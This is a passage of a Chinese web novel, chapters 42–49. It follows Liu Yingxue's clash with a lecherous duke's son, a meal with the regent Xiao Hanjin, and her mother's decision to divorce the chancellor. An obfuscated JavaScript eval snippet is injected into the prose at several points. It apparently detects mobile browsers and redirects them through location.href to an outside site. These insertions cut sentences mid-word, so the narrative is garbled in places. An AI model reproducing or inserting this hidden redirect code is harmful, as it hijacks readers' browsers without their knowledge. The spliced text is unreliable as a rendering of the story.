柳映雪正悠闲地逛着街,她身着一袭淡青色长裙,腰间系着一条银色流苏带,随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505507|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步伐轻轻摆动。 “小姐,前面是匠铺。”青莲提醒道。她跟在柳映雪身后,提着一个精致的食盒。 柳映雪看到那面写着“匠”字的黄色三角旗,嘴角微微上扬。这家铺子在京城也算小有名气,工艺精湛,价格公道。 推开门,铺子里传来一阵叮叮当当的打铁声。掌柜是个五十来岁的老者,见有客人进门,连忙放下手中的活计。 “掌柜的,这个图纸可能打造?”柳映雪从袖中取出一张图纸。 掌柜接过一看,浑浊的眼睛顿时亮了:“好精妙的设计!这飞镖......” “流星针。”柳映雪淡淡道,眼中闪过一丝得意。这可是她融合了后世各种飞镖优点设计出来的,不但速度快,还能自动返回,更有**机关。 掌柜仔细端详着图纸,啧啧称奇:“姑娘好巧思!这设计,老朽活了大半辈子,还是头一回见。” “十日后来取。”柳映雪说完,又问道:“对了,你们这可有银针?” “有,一百多根。” “全要了。”她从荷包里取出一锭银子,随手放在柜台上。 离开匠铺,柳映雪心情更好了。该去摄政王府喝鸡汤了。 茶楼二楼,一个少年突然激动地指着街上:“小公爷,你快看,好漂亮的姑娘!” 他身旁的青年正在品茶,闻言抬眼望去,只见一抹淡青色的身影从楼下经过。那身影清丽脱俗。青年放下茶盏,眸中闪过一丝异样的光芒。 华镇国府的小公爷,是个出了名的纨绔子弟。 他是华国公唯一的嫡子,年纪虽轻,却已养了一院子的姨娘小妾。从小被太夫人和国公夫人捧在手心里长大,养成了目中无人的性子。这会儿,他正趴在茶楼的窗边,眯着眼打量着街上来往的行人。 茶楼里弥漫着淡淡的茶香,几案上摆着精致的点心,可他却兴致缺缺地用手指不停敲打着桌面。这些日子,府里那些姨娘们的争风吃醋让他烦不胜烦,连街上的美人都少了几分看头。 “爷,您尝尝这新进的龙井。”小厮殷勤地端上一盏清茶。 他漫不经心地抿了一口,目光依旧停留在街上。忽然,一阵清脆的铃铛声传来,他的眼神微微一亮。 “小公爷,您瞧那边。”小厮眼尖,指着街角处一抹倩影。 第四十二章 色胆包天 华小公爷顺着望去,只见一位少女正漫步而来。她身着淡粉色襦裙,腰间系着银铃,随着步伐轻轻摇晃。那张清丽的小脸上带着几分天真烂漫,眉目如画,肌肤胜雪。虽说年纪尚小,但已能看出日后必是绝色。 “好一个美人儿。”他眼中闪过贪婪之色,舌尖不自觉地舔了舔嘴唇,“比我院里那些庸脂俗粉强多了。” “小的这就去打听打听。”小厮谄媚地笑道,作势就要下楼。 “慢着。”华小公爷一把拽住他的衣袖,眼中闪烁着异样的光芒,“不用打听了,本公爷亲自去会会。这等美人,岂能假手于人?” 说着,他拍了拍圆滚滚的肚子,摇摇晃晃地站起身来。小厮连忙搀扶,生怕主子一个不稳摔倒。 楼下,柳映雪正要往胭脂铺子走去。两个丫鬟一左一右跟在身后,时不时低声说着什么,惹得少女掩唇轻笑。 忽然,一道阴影挡在面前。抬眼一看,竟是个体型硕大的男子,满面油光,一身华服。那人不知何时已经下了茶楼,正笑眯眯地看着她们。 青莲和梅枝立即警觉地挡在小姐身前。她们虽是丫鬟,但跟着小姐久了,也沾染了几分傲气。 “这位公子,请让让。”青莲强压着怒气说道,眼中闪过一丝厌恶。 那人却纹丝不动,反而笑眯眯地打量着三人:“本公爷看上你们了,跟我回府可好?保管让你们吃香的喝辣的。” “呸!”梅枝怒道,“就你这副德行,也配肖想我家小姐?也不撒泡尿照照自己那猪样!” 柳映雪在后面轻轻挑眉,对两个丫鬟的表现还算满意。若是遇事只知道忍气吞声,那可不是她要的丫鬟。不过,这胖子倒是有几分意思,居然敢在大街上拦人。 “大胆!”小公爷脸色一沉,双颊因愤怒而涨得通红,“来人,把她们给我绑了!” 几个家丁闻令上前,虎视眈眈地盯着三人。街上的行人见状纷纷避让,生怕惹祸上身。青莲和梅枝虽然害怕,手心已经冒出冷汗,却仍死死护在小姐身前。 “小姐快跑!”青莲急道,声音微微发颤。 柳映雪轻轻一笑,从丫鬟身后走出。 “且慢。”她开口,声音清脆悦耳。 她打量着眼前的胖子,目光在他的衣着上流连:“你是哪家的?”这话问得漫不经心,却让对方更加得意。 “哈哈,本公爷是华镇国府的小公爷。”他挺了挺胸脯,下巴高高扬起,“只要你愿意跟我回府,保你荣华富贵,享之不尽。” 柳映雪嘴角勾起一抹冷笑:“好啊,我记住了,华镇国府是吧?今晚我一定登门拜访。” “当真?”小公爷大喜过望,连忙补充道,“我让人在后门等你,紧挨着丞相府的后院位置。你可千万要来!” “一言为定。”柳映雪意味深长地看了他一眼,转身带着丫鬟离去。裙摆飘飘,银铃叮当,渐行渐远。 看着那道倩影消失在街角,小公爷得意洋洋:“看到没有?本公爷的魅力无人能挡。” “是是是。”小厮连连点头,“这位风度翩翩的小公爷,英俊不凡,哪个女子不倾心?” “快,回府准备准备。”小公爷搓着手,“今晚可有好戏看了。” 马车上,柳映雪靠在软垫上。 “小姐,那胖子太可恶了。”梅枝愤愤不平,“居然敢对小姐无礼。” “是啊。”青莲也道,“要不是在街上,我非要给他点颜色看看。” 柳映雪轻轻摇头:“别管他了,一个跳梁小丑罢了。” 马车缓缓驶向摄政王府,她望着窗外飞逝的景色,心想着晚上怕是有人要空欢喜一场了。想到那胖子可能会在后门傻等一晚上,她就忍不住想笑。 街上行人渐多,马车不得不放慢速度。柳映雪听着外面的喧嚣,忽然想起王爷今日说要给她炖鸡汤。也不知道那位高高在上的摄政王,会不会亲自下厨? “小姐,到了。”青莲的声音传来。 柳映雪收回思绪,整理了一下衣裙,准备下车。。 摄政王府的书房里,萧寒瑾第十次抬头望向门外。桌上的奏折已经堆积如山,但他的心思早已不在公务上。 绿竹怎么还没来禀报?按理说,柳映雪这个时候应该快到了才是。 脚步声由远及近,打破了书房的宁静。 萧寒瑾眼中闪过一抹期待,但当看清来人是东方辉时,那抹光芒瞬间消散。他重新低下头,继续批阅手中的奏章,仿佛门口的人是个透明人。 “王爷!”东方辉大步流星地走进来,一张俊脸上带着灿烂的笑容。他身着一袭白衣,腰间系着玉带,整个人看起来风度翩翩。 “王爷放心,属下一定会将产业和青岩军都打理得妥妥当当。”东方辉拍着胸脯保证,语气中带着几分讨好。 萧寒瑾连个眼神都没给他,继续专注地批阅奏章。 东方辉讪讪地摸了摸鼻子,看来是他想多了。他环顾四周,发现书房内的炭盆烧得正旺,一股暖意扑面而来。空气中还飘着若有若无的鸡汤香气,让人忍不住食指大动。 “王爷,我快马加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在下东方辉,他可是王爷身边最亲近的人。”东方辉连忙行礼,目光却忍不住多打量了几眼这位未来的王妃。 “我是柳映雪,叫我柳大小姐就好。”柳映雪的声音清脆悦耳。 萧寒瑾见柳映雪的注意力被东方辉吸引,眉头微皱:“东方辉,你还忙着其他事情吧?”语气中带着明显的逐客之意。 绿风立刻会意,上前拉住东方辉:“小的恭送东方公子一程。” 第四十三章 一起喝鸡汤 就这样,东方辉被强行请出了司王府。他走在街上,回想着方才的一幕,不禁摇头苦笑。谁能想到,那个在朝堂上杀伐决断的摄政王,在心上人面前竟是这般模样。 萧寒瑾牵起柳映雪的手:“雪儿,进书房暖暖身子。”他的动作轻柔,生怕弄疼了她。 绿竹识趣地带着青莲梅枝退下,将空间留给两人。 书房内暖意融融,柳映雪解下披风,萧寒瑾接过来挂在门边的木架上。炭盆里的火烧得正旺,将整个房间烘得暖洋洋的。 看着满桌丰盛的饭菜,柳映雪忍不住笑道:“就我们两个人,能吃得完吗?”桌上摆着各式各样的菜肴,光是汤就有三四种。 “这些菜也太多了吧?”她忍不住开口,目光在桌上流连。 萧寒瑾坐在主位上,见她这般表情,唇角微微上扬,“雪儿尽管吃,这些都是府中厨子新研制的菜品。” 柳映雪的视线在桌上游走,一道道菜品勾起她对后世美食的回忆。粉蒸肉软糯可口,肉香四溢;龙井虾仁翠绿如玉,虾肉鲜嫩;还有那道酷似东坡肉的红烧肉,肥而不腻,色泽诱人。最吸引她的是那碗冒着热气的鸡汤,浓郁的香气萦绕在鼻尖,光是闻着就让人垂涎三尺。 “快尝尝。”萧寒瑾注意到她眼中闪烁的光芒,语气中带着几分宠溺。他修长的手指执起公筷,细心地为她夹了些开胃小菜,“先吃点这个开胃。” 柳映雪早已被香气勾得心痒难耐,迫不及待地端起汤碗,随意应了一声。这鸡汤的味道实在太好了,浓郁鲜美,让人欲罢不能。她小口啜饮着,完全沉浸在美食的享受中。 萧寒瑾看着她专注品尝的模样,眸中浮现出一丝温柔,“成亲后,我让膳房天天给你做。” 这话让柳映雪猛地回过神来,她放下碗,眼神闪躲。这人怎么总是说些让人脸红心跳的话? 为了表示感谢,她也给萧寒瑾夹了些菜,却在夹完才意识到用的是自己的筷子。正想换碗,却见他已经若无其事地吃了起来。她的脸瞬间烧了起来,赶紧低头扒饭,却不知耳尖已经染上了一抹绯红。 绿竹站在一旁,看着两人的互动,嘴角忍不住上扬。 自从王爷**以来,还从未见过他如此放松的模样。 用完午膳,柳映雪从袖中取出一瓶药递给萧寒瑾。玉瓶晶莹剔透,里面装着几粒浅褐色的药丸。“这是解药,一天一粒,三天后毒就能解尽。” “王妃!真的吗?”一旁的绿竹激动得声音都颤抖了,双膝一软就要跪下。 “起来吧。”萧寒瑾淡淡开口,接过药瓶仔细端详。 “雪儿,谢谢。”萧寒瑾的声音很轻,却饱含深意。他望向柳映雪的目光温柔似水,仿佛要将她的身影永远刻进眼底。 柳映雪被他温柔的目光看得有些不自在,心跳不受控制地加快。她强装镇定,打趣道:“不用客气,以后让我多来蹭几顿饭就行。” “好。”他的笑意更深了,眼角眉梢都染上了笑意。 她连忙转移话题:“对了,我娘说宫中年宴,我应该会收到邀请。不知道我娘能否一同前往?” “当然可以。”萧寒瑾从袖中取出一枚令牌,递到她手中,“有这个,你们可以直接入宫,无需任何请帖。” 柳映雪接过令牌,触手冰凉。这小小的令牌竟有如此大的权力,看来萧寒瑾在宫中的地位非同一般。她的指尖轻轻摩挲着令牌上的纹路,心中思绪万千。 “今年的年宴,其他三国都会派人前来。”萧寒瑾继续说道,目光落在她的脸上,“来的都是皇室中人。” “皇室中人?”柳映雪眨了眨眼,心中突然涌起一丝不安,“莫非是来联姻的?” “正是。”萧寒瑾点头,“这是维持四国和平的一种方式。” 柳映雪垂下眼帘,心中泛起苦涩。和亲公主,说到底不过是和平的牺牲品罢了。一旦两国交恶,这些公主的处境必然艰难。 突然,一个念头闪过她的脑海,让她心里莫名地不舒服:“那...那些公主,会不会...” 她话未说完,萧寒瑾已经明白了她的意思。他嘴角微扬,眼中带着笑意:“放心,本王此生只娶你一人。” 柳映雪看着他认真的神情,心中的疑虑渐渐消散。 与此同时,明德殿内。 华贵的龙椅上,皇上目光如炬,声音低沉:“赤凰剑的下落可有消息?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“臣妾见过皇后娘娘。”白贵妃福身行礼,声音轻柔婉转。 皇后面容平静如水:“平身吧。” “多谢娘娘。”白贵妃直起身子,裙摆轻轻晃动。她转身离去时的背影带着几分挑衅。 第四十七章 华镇国府的收获 与此同时,清溪居内。 柳映雪站在庭院中,目送萧寒瑾的身影消失在夜色中。待确认四下无人,她迫不及待地进入空间,查看方才在华镇国府的收获。 空间内光线明亮如昼,角落里堆积如山的财物在光芒照耀下熠熠生辉。这华镇国府的家底,当真不同凡响。成箱的金银珠宝在光线下闪烁着诱人的光芒,两匹名贵锦缎更是价值连城。 然而这些在她眼里都算不得什么稀罕物。最引人注目的是一个古朴的木箱,通体乌黑发亮,显然是年代久远之物。箱身雕刻着繁复的纹路,每一道纹路都充满韵味。 费了好大力气才打开木箱,里面竟是一把古琴。琴身刻有一个“凰”字,笔画遒劲有力,旁边雕着栩栩如生的凤凰,羽毛纹路清晰可见,仿佛下一刻就要展翅高飞。箱中还附一封信,信封上写着“有缘人”三字,笔迹飘逸潇洒。 柳映雪挑眉,既然此物入了她的空间,想必也算她与之有缘。她小心翼翼地展开信纸,只见上面详细记载了这把鸾琴的来历和功用。 原来此琴不仅音色绝美,更能**于无形。若练至高深境界,他的琴声仿佛能勾动人心最柔软的弦,化为利刃伤人。这等神奇功效,让柳映雪心中一阵火热。 她迫不及待地想要试试,却又担心自己会不会是那个“有缘人”。于是故意把手术刀放在琴边,还带着几分调皮地威胁道:“要是弹不响,就把你的琴弦割下来做暗器。” 话音刚落,赤凰剑突然飞来,轻轻敲了敲琴尾,发出清脆的响声。 “你别捣乱。”柳映雪白了赤凰剑一眼,嘴角却不自觉地扬起一抹笑意。 深吸一口气,她轻轻拨动琴弦。清越的琴音立刻响起,空灵悠远,竟与传说中的大圣遗音古琴不相上下。琴音在空间内回荡,仿佛天籁之音,让人心神俱醉。 柳映雪大喜过望,又发现琴下还藏着一本秘籍,记载了详细的修炼方法。翻开秘籍,密密麻麻的字迹映入眼帘,每一页都蕴含着深奥的琴道真谛。 空间里还有不少皇宫御赐的物件,只是都带着标记,得想办法处理掉才能使用。她一一查看,心中已有了几分计较。 而此时的华镇国府已是鸡飞狗跳。库房被洗劫的消息传到国公爷耳中,这位平日里威严十足的老爷子当场晕厥。 最让国公爷揪心的是那件准备献给皇上的至宝不见了。这可是他精心准备多时的贡品,若是献不上去,不知会惹来多大的祸事。 更糟的是,小公子突然腹泻不止,府医们手忙脚乱。整个府邸乱作一团,丫鬟仆役来回奔走,医师们忙着开方抓药,道士们摇铃念咒,一时间鸡飞狗跳,无人能安睡。 天色微明时,华国公终于清醒过来。他顾不得身体虚弱,立刻吩咐准备轿撵,要动身进宫面圣。府中众人劝阻不及,只得眼睁睁看着他强撑着病体出门。 丞相府的消息传来,老太君已经醒了过来。 这对丞相来说,无疑是个天大的好消息。更让他欣喜的是,老太君要求让大夫人朱氏回府侍疾。 丞相立于书房,手中拿着大夫人离府前的画像。画中的朱氏端庄优雅,眉眼含笑,与记忆中的模样分毫不差。 “司叔。”丞相放下画像,唤来守候在外的老仆。 “老爷。”司叔躬身而入,眼角的皱纹比往日更深了几分。 “你即刻前往清溪居,将老太君醒来的消息告知大夫人。”丞相踱步至窗前,“务必要让她回来。” 司叔应声而去,脚步匆匆。府中这段日子发生的事,他都看在眼里。那些姨娘小妾自毁容貌的惨状,至今让他心有余悸。若大夫人能回来,或许能让这个家重新安稳下来。 清溪居中,朱氏正在为女儿准备补品。 “娘亲,这个汤太苦了。”柳映雪皱着眉头,小声抱怨。 朱氏莞尔一笑:“这可是上好的人参,对你的身子有好处。” 正说着,院外传来脚步声。朱氏抬头望去,看到司叔时不禁一怔。这位跟随丞相多年的老仆,竟比从前消瘦了许多,连鬓角都染上了斑白。 “司叔,你怎么来了?”朱氏温声问道,示意他坐下。 司叔欲言又止,目光在朱氏脸上逡巡。离开丞相府后的朱氏,竟比从前更显年轻。那份端庄优雅的气质依旧,却少了几分忧愁,多了几分淡然。 “大夫人...”司叔声音哽咽,将丞相府近来发生的事一一道来。从老太君昏迷,到姨娘们自毁容貌,再到丞相将小妾卖入青楼,字字句句都透着府中的混乱。 朱氏听得目瞪口呆,一时间难以置信。她离开不过短短时日,府中竟发生如此多事。那些曾经趾高气扬的姨娘们,如今竟落得如此下场。 “司叔先回去吧,我稍后便去丞相府一趟。”朱氏淡淡道,语气中听不出喜怒。 司叔闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505513|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言大喜,连连点头。他以为朱氏心软了,要回府照料老太君。殊不知,朱氏说的是“去一趟”,而非“回府”。 待司叔离开,朱氏坐在书案前,提笔蘸墨。笔尖在宣纸上游走。这是一份和离书。写完最后一个字,她长舒一口气。 “娘亲。”柳映雪推门而入,见母亲神采奕奕的模样,不由得一愣。 她走到书案前,看到那份和离书,眼中闪过惊喜。她曾多次劝说母亲和离,但母亲总说要等她成亲后再说。如今母亲终于下定决心,她既欣喜又心疼。 “雪儿,娘这么做,你会怪我吗?”朱氏轻声问道,目光中带着一丝不安。 柳映雪坚定地摇头:“娘亲做什么决定,我都支持。若摄政王因此嫌弃我,大不了我们远走高飞。” 朱氏将女儿搂入怀中,心中既感动又心疼。女儿从小懂事,从未因她的处境抱怨过什么。如今为了她,连即将到手的婚事都愿意放弃。 “走,得马上赶往王府打探消息。”朱氏站起身,眼中闪过坚定的光芒。 马车缓缓驶在京城的街道上。 “娘亲,为何要去摄政王府?”柳映雪有些不解,“您不是应该先去丞相府吗?” “雪儿不必担心,有娘在。”朱氏拍了拍女儿的手,“待会你只管在一旁听着就是。” 马车继续向前,驶向那座威严的府邸。 若是让娘亲知道,她已经数次夜访这座府邸,恐怕会当场晕厥过去。更别提那个不守规矩的摄政王,还数次翻窗而入,像个登徒子一般。想到那人每次翻窗时一本正经的模样,柳映雪就忍不住想笑。 “雪儿,你在想什么?”朱氏的声音从马车里传来,带着几分关切。 柳映雪回过神来,:“没什么,娘亲。”她转头对着车夫说道,“去敲门吧。” “且慢!”朱氏连忙掀开车帘,探出头来阻止,“这可是摄政王府,我们亲自上门拜访比较妥当。” “娘亲,外面天寒地冻的,差人去通报一声便可。”柳映雪看着母亲紧张的样子,心中一阵不是滋味。 朱氏摇头,神色愈发严肃:“雪儿,虽说你们已经赐婚,但终究还未成婚。摄政王位高权重,我们更要谨守礼数。况且今日贸然来访,连拜帖都未递,若是失了规矩,岂不让王爷觉得未来王妃轻慢无礼?” 柳映雪看着娘亲小心翼翼的模样,心中一阵酸涩。 第四十八章 岳母来了 书房内,萧寒瑾正在处理各地密报。突然,一阵急促的敲门声打破了室内的宁静。 “进来。”他的声音低沉而清冷。 绿竹推门而入,脚步匆忙,语气急促:“王爷,柳大小姐与其母亲来访。” 萧寒瑾抬起头来,眸中闪过一丝异样的光芒:“雪儿和岳母来了?” “是的,她们刚要上前叩门。” “你为何还在这里?还不快去开门。”萧寒瑾淡淡道,随即又补充道,“另外,告诉华神医,不要离开他的院子。” 绿竹一愣,随即领命而去。他一路小跑着赶到大门口,刚好看到朱氏伸手欲敲门环。 门突然打开,把朱氏吓了一跳,她下意识地往后退了一步,差点跌倒。柳映雪连忙扶住母亲。 “夫人,柳大小姐,请进。”绿竹微微躬身,做出一个请的手势。 朱氏心中忐忑,她听闻摄政王凶名在外,连宫里的司公公都被他扔出过府去。今日贸然来访,也不知会不会触怒于他。 “娘亲,别怕。”柳映雪握住母亲颤抖的手,心疼地看着她苍白的面容。 “雪儿,若是王爷动怒,你千万不要出头。”朱氏低声道,声音里带着哽咽,“让娘一人承担便是。” 绿竹在前引路,穿过曲折的回廊。寒风吹动庭院里的梅花,零星的花瓣飘落在青石板上。远处的假山若隐若现,雾气缭绕间,整座司王府显得格外幽深。 前朱氏站在摄政王府的大厅外,低头整理了一下衣裙,目光落在身侧女儿柳映雪身上。 女儿一身淡粉色襦裙,清丽脱俗,眉眼间透着几分坚毅。这让她想起自己年轻时的模样,可惜命运弄人。 “娘,我们进去吧。”柳映雪轻声说道,伸手扶住母亲的手臂。 朱氏点点头,深吸一口气,迈步走进大厅。檀香袅袅,映入眼帘的是一排排紫檀木的雕花柱子,地上铺着上等的西域锦毯,处处彰显着司王府的奢华。 萧寒瑾正端坐在主位上,一袭玄色锦袍,衬得他愈发气度不凡。见到母女二人进来,他唇角微扬。 “臣妇见过王爷。”柳映雪轻轻碰了下母亲的手臂,朱氏这才如梦初醒般行礼。 “夫人不必多礼,请坐。”萧寒瑾抬手示意,声音低沉悦耳。 柳映雪扶着母亲坐到右侧下首的位置,自己则坐在母亲旁边。 小丫鬟奉上香茗,茶香四溢。她的目光不由自主地在厅内游走,这偌大的厅堂处处精致考究,连茶具都是上等的定窑白瓷。 身后的百鸟朝凤屏风尤为引人注目,金丝镶边,栩栩如生的凤凰展翅欲飞,仿佛下一刻就会破屏而出。她看得入神,却突然察觉到一道灼热的视线。 抬头对上萧寒瑾的目光,那双深邃的眸子正含笑看着她。柳映雪心头一跳,赶紧低下头,假装对着茶盏出神。 “王爷...”朱氏终于开口,声音有些颤抖,“臣妇今日来,是为了女儿的事。” “夫人请说。”萧寒瑾端起茶盏,神色从容。 朱氏攥紧了手指,指节泛白:“臣妇今日要去丞相府和离,这是臣妾自愿,与雪儿无关。”她顿了顿,“臣妇只求王爷一件事,日后善待雪儿。” 萧寒瑾眉头微挑,茶盏在他手中微微一顿。他没想到朱氏会如此直接,这份魄力倒是让他刮目相看。 “王爷,臣妇还有一事相求。”朱氏突然起身,在众人惊诧的目光中跪了下来。她的声音带着几分哽咽:“若日后王爷心有所属他人,请给雪儿一纸休书。臣妇不愿见女儿如我一般,独守空房,忍受冷眼。” “娘!”柳映雪惊呼一声,泪水瞬间涌出。她扑到母亲身边,紧紧抱住她的肩膀。看着母亲佝偻的背影,她心如刀绞。 萧寒瑾也站了起来,他从未见过一个母亲,能为女儿说出这样的话。 “夫人请起。”他亲自上前虚扶,目光落在柳映雪泪眼朦胧的脸上,“我萧寒瑾此生只娶雪儿一人,绝不会有第二个女人踏入摄政王府半步。” 柳映雪抬头看他,泪水模糊了视线,那个高大的身影在阳光下似乎变得柔和起来。她从未想过,这个在朝堂上呼风唤雨的摄政王,会说出这样的承诺。 “王爷,这话当真?”朱氏仍有些不敢相信。 “我萧寒瑾说话,一言九鼎。”他的声音掷地有声,目光坚定,“若有违此誓,天打雷劈。” 朱氏终于露出了一丝笑容,她拍了拍女儿的手:“雪儿,不要哭了。” 萧寒瑾望着她们母女,眼中闪过一丝柔情。他的小王妃,果然与众不同。 “夫人放心,我定会善待雪儿。”他郑重承诺,“从今以后,摄政王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505514|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府就是夫人的家,随时可来。” 朱氏怔怔地望着萧寒瑾,一时间竟说不出话来。烛光在他俊美的面容上跳动,那双深邃的眸子里闪烁着她看不懂的情绪。堂堂摄政王,竟会说出这样的承诺。 “王爷......”她欲言又止,目光中带着几分迟疑。手指无意识地绞着衣袖,心中翻涌着难以平静的思绪。 萧寒瑾看出她的犹豫,嘴角勾起一抹温和的笑意:“夫人不必担心,我说的每一个字都是真心实意。” 朱氏心中一动,这位高高在上的摄政王,不知从何时起,已经改口用“我”来自称。记忆不由自主地回到多年前,那时的柳丞相也是这般模样,说着甜言蜜语,许下诺言。可到头来,还不是纳了一房又一房的姨娘。 “王爷恐怕误会了臣妇的意思。”朱氏斟酌着开口,目光不自觉地瞥向身边的女儿,“妾身只是希望王爷能多些关心,只是......” “夫人。”萧寒瑾及时打断了她的话,目光转向一旁低着头的柳映雪,声音里带着不容置疑的坚定,“我的婚事自有主张,旁人无权干涉。” “时候不早了。”朱氏起身行礼,声音里带着淡淡的疲惫,“臣妇告退。” “绿竹,送夫人和柳大小姐。”萧寒瑾吩咐道。柳映雪扶着母亲起身。 绿竹恭敬地引路,穿过回廊,月光透过雕花窗棂,在地上投下斑驳的影子。 马车停在府门外,车夫已经等候多时。柳映雪扶着母亲上车,裙摆拂过车辕,带起一阵细微的声响。 车厢内,柳映雪终于靠在母亲肩头,声音里带着几分委屈:“娘亲,女儿不想嫁人,只想陪着您。” 朱氏轻抚着女儿的发丝:“傻孩子,在这个世道,姑娘哪能独自逍遥?娘亲只是希望你以后能过得好。” “可是娘亲一个人怎么办?”柳映雪抬起头,眼中泛着泪光,“这些年来,都是娘亲一个人含辛茹苦地养大我。我怎么能......” “雪儿,娘亲不能陪你一辈子的。”朱氏柔声道,声音里带着说不尽的无奈,“你总要有自己的生活。” “我不管,我就要陪着娘亲。”柳映雪撅着嘴,像个任性的孩子。可是朱氏知道,女儿心里装着的都是对她的牵挂。 朱氏笑着点了点女儿的额头:“就知道胡闹。” 第四十九章 上门和离 马车渐渐驶近丞相府。 “绿竹。”他忽然开口,声音低沉。 “属下在。”绿竹从阴影处走出,恭敬地应道。 “去丞相府盯着,若有异常立刻回报。” “是。”绿竹领命而去,脚步轻盈得几乎听不见声响。 朱氏站在丞相府门前。 “娘,我们进去吧。”柳映雪轻声说道。 府中的小厮早已等候多时,见到朱氏母女到来,连忙上前行礼:“大夫人,老太君在聚祥院等您。”说话时,目光不住地在朱氏脸上打量。 朱氏微微颔首,带着柳映雪和七个丫鬟浩浩荡荡地进了府。 柳映雪跟在母亲身边,眉眼如画,气质出尘。 “娘,您真的决定好了吗?”柳映雪放慢脚步,低声问道。 朱氏停下脚步,转身看向女儿。晨光中,她的眼神温柔而坚定:“雪儿不必担心,为娘心意已决。这些年在丞相府的日子,也该画上句点了。” 终于,母女二人来到聚祥院。柳晓上前掀开门帘,一股冷风灌入堂内。她的动作干脆利落,丝毫没有往日的小心翼翼。 “放肆!”白嬷嬷尖声呵斥,脸上的褶子都因愤怒而抖动,“你这丫头不懂规矩,门帘开这么大,想冻着老太君不成?” 柳晓不卑不亢地回道:“门帘不就是让人进出用的?又不是让狗钻的。”她的声音清亮,在安静的堂内格外刺耳。 “你!”白嬷嬷气得脸色铁青,手指颤抖地指着柳晓,一时竟说不出话来。 朱氏缓步入内,目光扫过堂中众人。只见老太君形容枯槁地靠在软榻上,眼神阴鸷地盯着朱氏。 柳丞相目光灼灼地盯着朱氏,眼中闪过一丝惊艳。这些日子不见,朱氏竟变得如此不同。 几位夫人小姐们的目光,不约而同地落在大夫人朱氏和大小姐柳映雪身后的丫鬟身上。那些丫鬟个个衣着光鲜,绫罗绸缎裁剪得体。连二夫人和二小姐都忍不住暗自咬牙,就连丫鬟穿的都比她们体面! 老太君端坐在雕花楠木太师椅上,目光阴沉地打量着眼前这对母女。 自从这个死而复生的孙女回来,府中就没消停过。二夫人司氏前些日子可没少在她耳边嘀咕,听说这位大小姐就是个招祸精,谁跟她扯上关系谁倒霉,府中近来的灾祸都是拜她所赐。 “这丫头,分明就是来讨债的。”老太君眯起眼睛,手中的拐杖重重地敲击着地面。 朱氏站在厅中,目光扫过四周。偌大的厅堂竟空空荡荡,往日那些价值连城的古董字画、玉器摆件一件不剩。莫非连这些东西也被卖了? 再看府中众人,更是判若两人。老太君瘦得皮包骨,柳丞相面黄肌瘦,那高姨娘倒是扭捏作态地站在一旁,时不时用帕子掩面轻咳。 “怎么,见了老身连个礼都不行了?”老太君冷笑一声,声音里带着刺骨的寒意,“还是说,现在连你那些丫鬟都轮不到老身来发卖了?” 朱氏微微一怔,随即福身行礼:“给母亲请安。” 柳映雪也跟着行礼,却一言不发。她的目光在高姨娘身上停留了片刻,嘴角勾起一抹若有若无的笑意。 老太君根本不看这个“灾星”孙女一眼,冷声道:“既然回来了,从今日起就在老身身边侍疾吧。你身为大夫人,也该尽尽本分。这些日子多亏了高姨娘照料。” 她转向柳丞相,语气一转:“鸣儿啊,高姨娘确实是个好的,不但照顾周到,还为柳家开枝散叶。不像有些人,连个嫡子都生不出来。” 这话明显是在讽刺朱氏。朱氏心中一痛,但转念一想,倒也庆幸。若真有个儿子在府中牵绊,她又怎能潇洒离去?。 柳映雪环顾四周,连个像样的凳子都没有。她轻轻叹了口气,开口道:“小丫。” “小姐,奴婢在。”胖乎乎的丫鬟立刻应声。 “去马车上把我那紫檀木方凳搬来。” 小丫麻利地应声而去,她圆润的身子在门口一闪而过。 “呵呵,姐姐这丫鬟未免太胖了些,带出去岂不让人笑话?”帏帽下传来柳书兰阴阳怪气的声音,“我们府上现在可养不起这么些吃闲饭的。” 柳映雪嘴角微勾:“这位戴着厚帏帽的是哪位庶妹啊?怎么,也觉得老太君房里冷,连头都蒙起来了?” 